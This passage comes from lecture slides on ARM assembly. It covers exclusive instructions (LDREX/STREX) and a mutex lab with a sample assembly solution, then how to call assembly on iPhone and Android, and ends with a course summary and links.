  – A physical asynchronous abort

• SEV – Send Event
• See B 1.8.13 in manual for more details
• Used with spin-locks
Exclusive instructions

- **LDREX{B|D|H} <reg1> <Rm>**
  - Load exclusive from Rm into <reg1>
- **STREX{B|D|H} <reg1> <reg2> <Rm>**
  - Store exclusive from <reg2> into <Rm> and write to <reg1> with 0 if successful or 1 if unsuccessful
- Both introduced since ARMv6
- **SWP & SWPB** – Used on ARMv6 and earlier now deprecated
  - It is read-locked-write
  - However does not allow for operations between the read lock and write
  - At that point you use LDREX/STREX
Exclusive instructions contd...

• No memory references allowed between LDREX and STREX instructions

• However after starting exclusive access using LDREX, can disengage using CLREX instruction

• Use of DMB (Data Memory Barrier) in between exclusive accesses
  – Ensures correct ordering of memory accesses
  – Ensures all explicit memory accesses finish or complete before explicit memory access after the DMB instruction
Lab 5

• Atomic lab
  – Implement a simple mutex in assembly with threads in C

• Given code that uses libpthread to do threading

• Creates two threads which use dosomething() to do work
Lab 5

• Pseudocode for mutex_lock:
  – Load locked value into a temp register
  – Loop:
    • LDREX from [r0] and compare to unlocked value
    • If [r0] contents have the unlocked value
    • STREX value in temp variable into [r0]
    • If not successful goto loop

• To load locked value, you can use
  ldr r2, =locked

• Pseudocode for Mutex unlock
  – Load =unlocked value into a temp register
  – Store value from temp register into [r0]
Possible solution

.equ locked, 1
.equ unlocked, 0

.global lock_mutex
.type lock_mutex, function

lock_mutex:
    ldr r1, =locked
    .L1:
    ldrex r2, [r0]
    cmp r2, #0
    strexeq r2, r1, [r0]
    cmpeq r2, #0
    bne .L1
    bx lr

.size lock_mutex, .-lock_mutex

.global unlock_mutex
.type unlock_mutex, function

unlock_mutex:
    ldr r1, =unlocked
    str r1, [r0]
    bx lr

.size unlock_mutex, .-unlock_mutex
Assembly on iPhone

• For iPhone:
  – Can use Inline assembly as we saw above in Objective-C code
  – Include the assembly source file in XCode
  – Have not experimented with Xcode and assembly
  – iPhone ABI Link:
Assembly on Android

• For Android:
  – Need to use Android Native Development Kit (NDK)
  – Write a stub code in C that calls assembly method and uses JNI types
  – Write a make file or copy a template and include the new assembly file and the stub-code C file
  – Use NDK tool ndk-build to build
  – In Android application declare the method using same signature using Java types and mark as `native`
    • public `native` int myasmfunc(int param1);
  – Also load the assembly jni-library
    • System.loadlibrary(“library-name-here”);

Source:
Summary

• We covered:
  – How boot is handled on ARM platforms
  – Some mechanics of ARM assembly and how to debug it using GDB
  – How programs are converted to assembly and run including ATPCS along with control flow hijack vulnerabilities
  – Other features of ARM platforms including interrupts and atomic instructions
  – How to write inline assembly in C and how to write C functions in assembly (for use in C source)
Useful links

• ARM GCC Inline Assembler cookbook

• Writing ARM assembly
  – http://omappededia.org/wiki/Writing_ARM_Assembly

• ARM architecture diagrams:
  – http://www.eng.auburn.edu/~agrawvd/COURSE/E6200_Fall08/CLASS_TALKS/armcores.ppt

• How to build the emulator:

• GCC manual (ARM optimization options):